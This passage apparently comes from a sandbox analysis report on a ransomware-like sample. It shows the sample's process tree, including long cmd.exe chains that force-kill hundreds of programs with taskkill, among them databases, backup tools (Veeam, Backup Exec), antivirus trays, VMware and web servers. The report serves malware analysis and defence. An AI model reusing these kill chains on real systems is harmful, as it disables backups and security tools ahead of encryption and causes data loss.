HaoZipScan.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM TSVNCache.exe /F & @taskkill /IM RAVCpl64.exe /F & @taskkill /IM secbizsrv.exe /F & @taskkill /IM aliwssv.exe /F & @taskkill /IM Helper_Haozip.exe /F & @taskkill /IM acrotray.exe /F & @taskkill /IM "FileZilla Server Interface.exe" /F & @taskkill /IM YoudaoNote.exe /F & @taskkill /IM YNoteCefRender.exe /F & @taskkill /IM idea.exe /F & @taskkill /IM fsnotifier.exe /F & @taskkill /IM picpick.exe /F & @taskkill /IM lantern.exe /F & @taskkill /IM sysproxy-cmd.exe /F & @taskkill /IM service.exe /F & @taskkill /IM pcas.exe /F & @taskkill /IM PresentationFontCache.exe /F & @taskkill /IM RtWlan.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM Correspond.exe /F & @taskkill /IM ChatServer.exe /F & @taskkill /IM InetMgr.exe /F & @taskkill /IM LogonServer.exe /F & @taskkill /IM GameServer.exe /F & @taskkill /IM ServUAdmin.exe /F & @taskkill /IM ServUDaemon.exe /F & @taskkill /IM update0.exe /F & @taskkill /IM server.exe /F & @taskkill /IM w3wp.exe /F & @taskkill /IM notepad.exe /F & @taskkill /IM PalmInputService.exe /F & @taskkill /IM PalmInputGuard.exe /F & @taskkill /IM UpdateServer.exe /F & @taskkill /IM UpdateGate.exe /F & @taskkill /IM DBServer.exe /F & @taskkill /IM LoginGate.exe /F & @taskkill /IM SelGate.exe /F & @taskkill /IM RunGate.exe /F & @taskkill /IM M2Server.exe /F & @taskkill /IM LogDataServer.exe /F & @taskkill /IM LoginSrv.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM ClamWin.exe /F & @taskkill /IM srvany.exe /F & @taskkill /IM JT_AG-8332.exe /F & @taskkill /IM XXTClient.exe /F & @taskkill /IM clean.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM "Net.Service.exe" /F & @taskkill /IM plsqldev.exe /F & @taskkill /IM splwow64.exe /F & @taskkill /IM Oobe.exe /F & @taskkill /IM QQYService.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM SGTool.exe /F & @taskkill /IM postgres.exe /F & @taskkill /IM AppVShNotify.exe /F & @taskkill /IM OfficeClickToRun.exe /F & @taskkill /IM EntDT.exe /F & @taskkill /IM EntPublish.exe /F"7⤵PID:6940
-
C:\Windows\system32\taskkill.exetaskkill /IM ThunderPlatform.exe /F8⤵PID:5880
-
-
C:\Windows\system32\taskkill.exetaskkill /IM iexplore.exe /F8⤵PID:856
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vm-agent.exe /F8⤵PID:6360
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vm-agent-daemon.exe /F8⤵PID:2424
-
-
C:\Windows\system32\taskkill.exetaskkill /IM eSightService.exe /F8⤵
- Kills process with taskkill
PID:5584
-
-
C:\Windows\system32\taskkill.exetaskkill /IM cygrunsrv.exe /F8⤵PID:6568
-
-
C:\Windows\system32\taskkill.exetaskkill /IM wrapper.exe /F8⤵PID:5880
-
-
C:\Windows\system32\taskkill.exetaskkill /IM nginx.exe /F8⤵
- Kills process with taskkill
PID:5708
-
-
C:\Windows\system32\taskkill.exetaskkill /IM node.exe /F8⤵PID:6420
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sshd.exe /F8⤵PID:5136
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vm-tray.exe /F8⤵
- Kills process with taskkill
PID:3160
-
-
C:\Windows\system32\taskkill.exetaskkill /IM iempwatchdog.exe /F8⤵
- Kills process with taskkill
PID:6712
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sqlwriter.exe /F8⤵PID:6560
-
-
C:\Windows\system32\taskkill.exetaskkill /IM php.exe /F8⤵PID:7120
-
-
C:\Windows\system32\taskkill.exetaskkill /IM "notepad++.exe" /F8⤵PID:748
-
-
C:\Windows\system32\taskkill.exetaskkill /IM "phpStudy.exe" /F8⤵
- Kills process with taskkill
PID:5444
-
-
C:\Windows\system32\taskkill.exetaskkill /IM OPCClient.exe /F8⤵PID:6124
-
-
C:\Windows\system32\taskkill.exetaskkill /IM navicat.exe /F8⤵PID:6604
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SupportAssistAgent.exe /F8⤵
- Kills process with taskkill
PID:6456
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SunloginClient.exe /F8⤵PID:6308
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SOUNDMAN.exe /F8⤵PID:5568
-
-
C:\Windows\system32\taskkill.exetaskkill /IM WeChat.exe /F8⤵PID:6724
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TXPlatform.exe /F8⤵PID:5664
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Tencentdll.exe /F8⤵PID:7012
-
-
C:\Windows\system32\taskkill.exetaskkill /IM httpd.exe /F8⤵PID:2460
-
-
C:\Windows\system32\taskkill.exetaskkill /IM jenkins.exe /F8⤵PID:276
-
-
C:\Windows\system32\taskkill.exetaskkill /IM QQ.exe /F8⤵PID:7940
-
-
C:\Windows\system32\taskkill.exetaskkill /IM HaoZip.exe /F8⤵PID:6580
-
-
C:\Windows\system32\taskkill.exetaskkill /IM HaoZipScan.exe /F8⤵PID:280
-
-
C:\Windows\system32\taskkill.exetaskkill /IM navicat.exe /F8⤵
- Kills process with taskkill
PID:6612
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TSVNCache.exe /F8⤵PID:7976
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RAVCpl64.exe /F8⤵PID:2404
-
-
C:\Windows\system32\taskkill.exetaskkill /IM secbizsrv.exe /F8⤵PID:756
-
-
C:\Windows\system32\taskkill.exetaskkill /IM aliwssv.exe /F8⤵PID:2044
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Helper_Haozip.exe /F8⤵
- Kills process with taskkill
PID:6040
-
-
C:\Windows\system32\taskkill.exetaskkill /IM acrotray.exe /F8⤵PID:9956
-
-
C:\Windows\system32\taskkill.exetaskkill /IM "FileZilla Server Interface.exe" /F8⤵PID:5484
-
-
C:\Windows\system32\taskkill.exetaskkill /IM YoudaoNote.exe /F8⤵
- Kills process with taskkill
PID:3792
-
-
C:\Windows\system32\taskkill.exetaskkill /IM YNoteCefRender.exe /F8⤵PID:8700
-
-
C:\Windows\system32\taskkill.exetaskkill /IM idea.exe /F8⤵PID:7072
-
-
C:\Windows\system32\taskkill.exetaskkill /IM fsnotifier.exe /F8⤵PID:8372
-
-
C:\Windows\system32\taskkill.exetaskkill /IM picpick.exe /F8⤵PID:5324
-
-
C:\Windows\system32\taskkill.exetaskkill /IM lantern.exe /F8⤵PID:6504
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sysproxy-cmd.exe /F8⤵
- Kills process with taskkill
PID:8004
-
-
C:\Windows\system32\taskkill.exetaskkill /IM service.exe /F8⤵PID:10148
-
-
C:\Windows\system32\taskkill.exetaskkill /IM pcas.exe /F8⤵PID:2088
-
-
C:\Windows\system32\taskkill.exetaskkill /IM PresentationFontCache.exe /F8⤵PID:6056
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RtWlan.exe /F8⤵PID:8024
-
-
C:\Windows\system32\taskkill.exetaskkill /IM monitor.exe /F8⤵PID:8732
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Correspond.exe /F8⤵PID:7344
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ChatServer.exe /F8⤵PID:5740
-
-
C:\Windows\system32\taskkill.exetaskkill /IM InetMgr.exe /F8⤵PID:8040
-
-
C:\Windows\system32\taskkill.exetaskkill /IM LogonServer.exe /F8⤵
- Kills process with taskkill
PID:1212
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GameServer.exe /F8⤵
- Kills process with taskkill
PID:5732
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ServUAdmin.exe /F8⤵PID:6208
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ServUDaemon.exe /F8⤵PID:1812
-
-
C:\Windows\system32\taskkill.exetaskkill /IM update0.exe /F8⤵
- Kills process with taskkill
PID:7556
-
-
C:\Windows\system32\taskkill.exetaskkill /IM server.exe /F8⤵PID:3724
-
-
C:\Windows\system32\taskkill.exetaskkill /IM w3wp.exe /F8⤵PID:10148
-
-
C:\Windows\system32\taskkill.exetaskkill /IM notepad.exe /F8⤵PID:8040
-
-
C:\Windows\system32\taskkill.exetaskkill /IM PalmInputService.exe /F8⤵
- Kills process with taskkill
PID:5572
-
-
C:\Windows\system32\taskkill.exetaskkill /IM PalmInputGuard.exe /F8⤵PID:856
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UpdateServer.exe /F8⤵PID:6316
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UpdateGate.exe /F8⤵PID:10224
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DBServer.exe /F8⤵PID:4792
-
-
C:\Windows\system32\taskkill.exetaskkill /IM LoginGate.exe /F8⤵PID:8808
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SelGate.exe /F8⤵PID:9456
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RunGate.exe /F8⤵PID:7676
-
-
C:\Windows\system32\taskkill.exetaskkill /IM M2Server.exe /F8⤵PID:2404
-
-
C:\Windows\system32\taskkill.exetaskkill /IM LogDataServer.exe /F8⤵PID:3688
-
-
C:\Windows\system32\taskkill.exetaskkill /IM LoginSrv.exe /F8⤵PID:10052
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sqlceip.exe /F8⤵PID:8584
-
-
C:\Windows\system32\taskkill.exetaskkill /IM mqsvc.exe /F8⤵PID:2284
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RefundOrder.exe /F8⤵PID:8888
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ClamTray.exe /F8⤵PID:6028
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AdobeARM.exe /F8⤵PID:1600
-
-
C:\Windows\system32\taskkill.exetaskkill /IM veeam.backup.shell.exe /F8⤵PID:7528
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VpxClient.exe /F8⤵PID:5104
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vmware-vmrc.exe /F8⤵PID:2080
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DSCPatchService.exe /F8⤵PID:7024
-
-
C:\Windows\system32\taskkill.exetaskkill /IM scktsrvr.exe /F8⤵
- Kills process with taskkill
PID:1412
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ServerManager.exe /F8⤵PID:9636
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Dispatcher.exe /F8⤵PID:8152
-
-
C:\Windows\system32\taskkill.exetaskkill /IM EFDispatcher.exe /F8⤵
- Kills process with taskkill
PID:2872
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sqlceip.exe /F8⤵PID:7980
-
-
C:\Windows\system32\taskkill.exetaskkill /IM mqsvc.exe /F8⤵PID:8408
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RefundOrder.exe /F8⤵PID:7940
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ClamTray.exe /F8⤵PID:7628
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AdobeARM.exe /F8⤵PID:8780
-
-
C:\Windows\system32\taskkill.exetaskkill /IM veeam.backup.shell.exe /F8⤵
- Kills process with taskkill
PID:9700
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VpxClient.exe /F8⤵PID:7544
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vmware-vmrc.exe /F8⤵PID:292
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DSCPatchService.exe /F8⤵PID:8800
-
-
-
C:\Windows\system32\cmd.execmd /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_manage.exe /F & @taskkill /IM RsTray.exe /F & @taskkill /IM wampmanager.exe /F & @taskkill /IM RavTray.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM sqlmangr.exe /F & @taskkill /IM msftesql.exe /F & @taskkill /IM SyncBaseSvr.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM SyncBaseConsole.exe /F & @taskkill /IM aspnet_state.exe /F & @taskkill /IM AutoBackUpEx.exe /F & @taskkill /IM redis-server.exe /F & @taskkill /IM MySQLNotifier.exe /F & @taskkill /IM oravssw.exe /F & @taskkill /IM fppdis5.exe /F & @taskkill /IM His6Service.exe /F & @taskkill /IM dinotify.exe /F & @taskkill /IM JhTask.exe /F & @taskkill /IM Executer.exe /F & @taskkill /IM AllPassCBHost.exe /F & @taskkill /IM ap_nginx.exe /F & @taskkill /IM AndroidServer.exe /F & @taskkill /IM XT.exe /F & @taskkill /IM XTService.exe /F & @taskkill /IM AllPassMCService.exe /F & @taskkill /IM IMEDICTUPDATE.exe /F & @taskkill /IM FlashHelperService.exe /F & @taskkill /IM ap_redis-server.exe /F & @taskkill /IM UtilDev.WebServer.Monitor.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM FoxitProtect.exe /F & @taskkill /IM ftnlses.exe /F & @taskkill /IM ftusbrdwks.exe /F & @taskkill /IM ftusbrdsrv.exe /F & @taskkill /IM ftnlsv.exe /F & @taskkill /IM Syslogd_Service.exe /F & @taskkill /IM UWS.HighPrivilegeUtilities.exe /F & @taskkill /IM ftusbsrv.exe /F & @taskkill /IM UWS.LowPrivilegeUtilities.exe /F & @taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F & @taskkill /IM winguard_x64.exe /F & @taskkill /IM vmconnect.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM firefox.exe /F & @taskkill /IM usbrdsrv.exe /F & @taskkill /IM usbserver.exe /F & @taskkill /IM Foxmail.exe /F & @taskkill /IM qemu-ga.exe /F & @taskkill /IM wwbizsrv.exe /F & @taskkill /IM ZTEFileTranS.exe /F & @taskkill /IM ZTEUsbIpc.exe /F & @taskkill /IM ZTEUsbIpcGuard.exe /F & @taskkill /IM AlibabaProtect.exe /F & @taskkill /IM kbasesrv.exe /F & @taskkill /IM ZTEVdservice.exe /F & @taskkill /IM MMRHookService.exe /F & @taskkill /IM extjob.exe /F & @taskkill /IM IpOverUsbSvc.exe /F & @taskkill /IM VMwareTray.exe /F & @taskkill /IM devenv.exe /F & @taskkill /IM PerfWatson2.exe /F & @taskkill /IM ServiceHub.Host.Node.x86.exe /F & @taskkill /IM ServiceHub.IdentityHost.exe /F & @taskkill /IM ServiceHub.VSDetouredHost.exe /F & @taskkill /IM ServiceHub.SettingsHost.exe /F & @taskkill /IM ServiceHub.Host.CLR.x86.exe /F & @taskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F & @taskkill /IM ServiceHub.DataWarehouseHost.exe /F & @taskkill /IM Microsoft.VisualStudio.Web.Host.exe /F & @taskkill /IM SQLEXPRWT.exe /F & @taskkill /IM setup.exe /F & @taskkill /IM remote.exe /F & @taskkill /IM setup100.exe /F & @taskkill /IM landingpage.exe /F & @taskkill /IM WINWORD.exe /F & @taskkill /IM KuaiYun.exe /F & @taskkill /IM HwsHostPanel.exe /F & @taskkill /IM NovelSpider.exe /F & @taskkill /IM Service_KMS.exe /F & @taskkill /IM WebServer.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM btPanel.exe /F & @taskkill /IM Protect_2345Explorer.exe /F & @taskkill /IM Pic_2345Svc.exe /F & @taskkill /IM vmware-converter-a.exe /F & @taskkill /IM vmware-converter.exe /F & @taskkill /IM vmware.exe /F & @taskkill /IM vmware-unity-helper.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM usysdiag.exe /F & @taskkill /IM PopBlock.exe /F & @taskkill /IM gsinterface.exe /F & @taskkill /IM Gemstar.Group.CRS.Client.exe /F & @taskkill /IM TenpayServer.exe /F & @taskkill /IM RemoteExecService.exe /F & @taskkill /IM VS_TrueCorsManager.exe /F & @taskkill /IM ntpsvr-2019-01-22-wgs84.exe /F & @taskkill /IM rtkjob-ion.exe /F & @taskkill /IM ntpsvr-2019-01-22-no-usrcheck.exe /F & @taskkill /IM NtripCaster-2019-01-08.exe /F & @taskkill /IM BACSTray.exe /F & @taskkill /IM protect.exe /F & @taskkill /IM hfs.exe /F & @taskkill /IM jzmis.exe /F & @taskkill /IM NewFileTime_x64.exe /F & @taskkill /IM 2345MiniPage.exe /F & @taskkill /IM JMJ_server.exe /F & @taskkill /IM cacls.exe /F & @taskkill /IM gpsdaemon.exe /F & @taskkill /IM gpsusersvr.exe /F & @taskkill /IM gpsdownsvr.exe /F & @taskkill /IM gpsstoragesvr.exe /F & @taskkill /IM gpsdataprocsvr.exe /F & @taskkill /IM gpsftpd.exe /F & @taskkill /IM gpsmysqld.exe /F & @taskkill /IM gpstomcat6.exe /F & @taskkill /IM gpsloginsvr.exe /F & @taskkill /IM gpsmediasvr.exe /F & @taskkill /IM gpsgatewaysvr.exe /F & @taskkill /IM gpssvrctrl.exe /F & @taskkill /IM zabbix_agentd.exe /F"7⤵
- System Time Discovery
PID:5424 -
C:\Windows\system32\taskkill.exetaskkill /IM pg_ctl.exe /F8⤵PID:3464
-
-
C:\Windows\system32\taskkill.exetaskkill /IM rcrelay.exe /F8⤵PID:6384
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SogouImeBroker.exe /F8⤵
- Kills process with taskkill
PID:7128
-
-
C:\Windows\system32\taskkill.exetaskkill /IM CCenter.exe /F8⤵PID:6984
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ScanFrm.exe /F8⤵PID:6224
-
-
C:\Windows\system32\taskkill.exetaskkill /IM d_manage.exe /F8⤵PID:5772
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RsTray.exe /F8⤵PID:3160
-
-
C:\Windows\system32\taskkill.exetaskkill /IM wampmanager.exe /F8⤵PID:2548
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RavTray.exe /F8⤵PID:5192
-
-
C:\Windows\system32\taskkill.exetaskkill /IM mssearch.exe /F8⤵PID:6772
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sqlmangr.exe /F8⤵
- Kills process with taskkill
PID:6892
-
-
C:\Windows\system32\taskkill.exetaskkill /IM msftesql.exe /F8⤵
- Kills process with taskkill
PID:5244
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SyncBaseSvr.exe /F8⤵PID:6472
-
-
C:\Windows\system32\taskkill.exetaskkill /IM oracle.exe /F8⤵PID:6468
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TNSLSNR.exe /F8⤵PID:1856
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SyncBaseConsole.exe /F8⤵PID:1776
-
-
C:\Windows\system32\taskkill.exetaskkill /IM aspnet_state.exe /F8⤵PID:3020
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AutoBackUpEx.exe /F8⤵PID:2400
-
-
C:\Windows\system32\taskkill.exetaskkill /IM redis-server.exe /F8⤵PID:6852
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MySQLNotifier.exe /F8⤵PID:5556
-
-
C:\Windows\system32\taskkill.exetaskkill /IM oravssw.exe /F8⤵PID:5180
-
-
C:\Windows\system32\taskkill.exetaskkill /IM fppdis5.exe /F8⤵
- Kills process with taskkill
PID:7508
-
-
C:\Windows\system32\taskkill.exetaskkill /IM His6Service.exe /F8⤵PID:2968
-
-
C:\Windows\system32\taskkill.exetaskkill /IM dinotify.exe /F8⤵PID:6196
-
-
C:\Windows\system32\taskkill.exetaskkill /IM JhTask.exe /F8⤵
- Kills process with taskkill
PID:6408
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Executer.exe /F8⤵PID:5516
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AllPassCBHost.exe /F8⤵PID:6924
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ap_nginx.exe /F8⤵PID:5092
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AndroidServer.exe /F8⤵PID:7004
-
-
C:\Windows\system32\taskkill.exetaskkill /IM XT.exe /F8⤵PID:9164
-
-
C:\Windows\system32\taskkill.exetaskkill /IM XTService.exe /F8⤵PID:7796
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AllPassMCService.exe /F8⤵PID:5596
-
-
C:\Windows\system32\taskkill.exetaskkill /IM IMEDICTUPDATE.exe /F8⤵PID:6812
-
-
C:\Windows\system32\taskkill.exetaskkill /IM FlashHelperService.exe /F8⤵PID:7200
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ap_redis-server.exe /F8⤵
- Kills process with taskkill
PID:8244
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UtilDev.WebServer.Monitor.exe /F8⤵PID:9808
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UWS.AppHost.Clr2.x86.exe /F8⤵PID:3996
-
-
C:\Windows\system32\taskkill.exetaskkill /IM FoxitProtect.exe /F8⤵PID:7968
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ftnlses.exe /F8⤵
- Kills process with taskkill
PID:7392
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ftusbrdwks.exe /F8⤵PID:6572
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ftusbrdsrv.exe /F8⤵PID:8708
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ftnlsv.exe /F8⤵PID:5448
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Syslogd_Service.exe /F8⤵PID:4284
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UWS.HighPrivilegeUtilities.exe /F8⤵PID:5892
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ftusbsrv.exe /F8⤵PID:7888
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UWS.LowPrivilegeUtilities.exe /F8⤵PID:8224
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F8⤵PID:4168
-
-
C:\Windows\system32\taskkill.exetaskkill /IM winguard_x64.exe /F8⤵PID:9352
-
-
C:\Windows\system32\taskkill.exetaskkill /IM vmconnect.exe /F8⤵PID:9964
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UWS.AppHost.Clr2.x86.exe /F8⤵PID:3780
-
-
C:\Windows\system32\taskkill.exetaskkill /IM firefox.exe /F8⤵PID:8104
-
-
C:\Windows\system32\taskkill.exetaskkill /IM usbrdsrv.exe /F8⤵PID:10084
-
-
C:\Windows\system32\taskkill.exetaskkill /IM usbserver.exe /F8⤵
- Kills process with taskkill
PID:5188
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Foxmail.exe /F8⤵PID:4312
-
-
C:\Windows\system32\taskkill.exetaskkill /IM qemu-ga.exe /F8⤵PID:6600
-
-
C:\Windows\system32\taskkill.exetaskkill /IM wwbizsrv.exe /F8⤵PID:7028
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ZTEFileTranS.exe /F8⤵PID:7868
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ZTEUsbIpc.exe /F8⤵PID:6764
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ZTEUsbIpcGuard.exe /F8⤵PID:8120
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AlibabaProtect.exe /F8⤵PID:9100
-
-
C:\Windows\system32\taskkill.exetaskkill /IM kbasesrv.exe /F8⤵PID:8148
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ZTEVdservice.exe /F8⤵PID:5700
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MMRHookService.exe /F8⤵PID:5516
-
-
C:\Windows\system32\taskkill.exetaskkill /IM extjob.exe /F8⤵PID:6416
-
-
C:\Windows\system32\taskkill.exetaskkill /IM IpOverUsbSvc.exe /F8⤵PID:4900
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VMwareTray.exe /F8⤵PID:1984
-
-
C:\Windows\system32\taskkill.exetaskkill /IM devenv.exe /F8⤵PID:7388
-
-
C:\Windows\system32\taskkill.exetaskkill /IM PerfWatson2.exe /F8⤵PID:4204
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ServiceHub.Host.Node.x86.exe /F8⤵PID:1588
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ServiceHub.IdentityHost.exe /F8⤵PID:6072
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ServiceHub.VSDetouredHost.exe /F8⤵
- Kills process with taskkill
PID:6764
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ServiceHub.SettingsHost.exe /F8⤵PID:9580
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ServiceHub.Host.CLR.x86.exe /F8⤵PID:1704
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F8⤵PID:5920
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ServiceHub.DataWarehouseHost.exe /F8⤵
- Kills process with taskkill
PID:7904
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Microsoft.VisualStudio.Web.Host.exe /F8⤵PID:9080
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SQLEXPRWT.exe /F8⤵PID:9608
-
-
C:\Windows\system32\taskkill.exetaskkill /IM setup.exe /F8⤵PID:8712
-
-
C:\Windows\system32\taskkill.exetaskkill /IM remote.exe /F8⤵PID:4188
-
-
C:\Windows\system32\taskkill.exetaskkill /IM setup100.exe /F8⤵PID:6916
-
-
C:\Windows\system32\taskkill.exetaskkill /IM landingpage.exe /F8⤵PID:8264
-
-
C:\Windows\system32\taskkill.exetaskkill /IM WINWORD.exe /F8⤵
- Kills process with taskkill
PID:9176
-
-
C:\Windows\system32\taskkill.exetaskkill /IM KuaiYun.exe /F8⤵PID:7272
-
-
C:\Windows\system32\taskkill.exetaskkill /IM HwsHostPanel.exe /F8⤵PID:9760
-
-
C:\Windows\system32\taskkill.exetaskkill /IM NovelSpider.exe /F8⤵
- Kills process with taskkill
PID:720
-
-
-
C:\Windows\system32\cmd.execmd /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill /IM benetns.exe /F & @taskkill /IM beserver.exe /F & @taskkill /IM pvlsvr.exe /F & @taskkill /IM bedbg.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM RemoteAssistProcess.exe /F & @taskkill /IM BarMoniService.exe /F & @taskkill /IM GoodGameSrv.exe /F & @taskkill /IM BarCMService.exe /F & @taskkill /IM TsService.exe /F & @taskkill /IM GoodGame.exe /F & @taskkill /IM BarServerView.exe /F & @taskkill /IM IcafeServicesTray.exe /F & @taskkill /IM BsAgent_0.exe /F & @taskkill /IM ControlServer.exe /F & @taskkill /IM DisklessServer.exe /F & @taskkill /IM DumpServer.exe /F & @taskkill /IM NetDiskServer.exe /F & @taskkill /IM PersonUDisk.exe /F & @taskkill /IM service_agent.exe /F & @taskkill /IM SoftMemory.exe /F & @taskkill /IM BarServer.exe /F & @taskkill /IM RtkNGUI64.exe /F & @taskkill /IM Serv-U-Tray.exe /F & @taskkill /IM QQPCSoftTrayTips.exe /F & @taskkill /IM SohuNews.exe /F & @taskkill /IM Serv-U.exe /F & @taskkill /IM QQPCRTP.exe /F & @taskkill /IM EasyFZS.exe /F & @taskkill /IM HaoYiShi.exe /F & @taskkill /IM HysMySQL.exe /F & @taskkill /IM wtautoreg.exe /F & @taskkill /IM ispiritPro.exe /F & @taskkill /IM CAService.exe /F & @taskkill /IM XAssistant.exe /F & @taskkill /IM TrustCA.exe /F & @taskkill /IM GEUU20003.exe /F & @taskkill /IM CertMgr.exe /F & @taskkill /IM eSafe_monitor.exe /F & @taskkill /IM MainExecute.exe /F & @taskkill /IM FastInvoice.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM sesvc.exe /F & @taskkill /IM ScanFileServer.exe /F & @taskkill /IM Nuoadehgcgcd.exe /F & @taskkill /IM OpenFastAssist.exe /F & @taskkill /IM FastInvoiceAssist.exe /F & @taskkill /IM Nuoadfaggcje.exe /F & @taskkill /IM OfficeUpdate.exe /F & @taskkill /IM atkexComSvc.exe /F & @taskkill /IM FileTransferAgent.exe /F & @taskkill /IM MasterReplicatorAgent.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmUnzipService.exe /F & @taskkill /IM NscAuthService.exe /F & @taskkill /IM 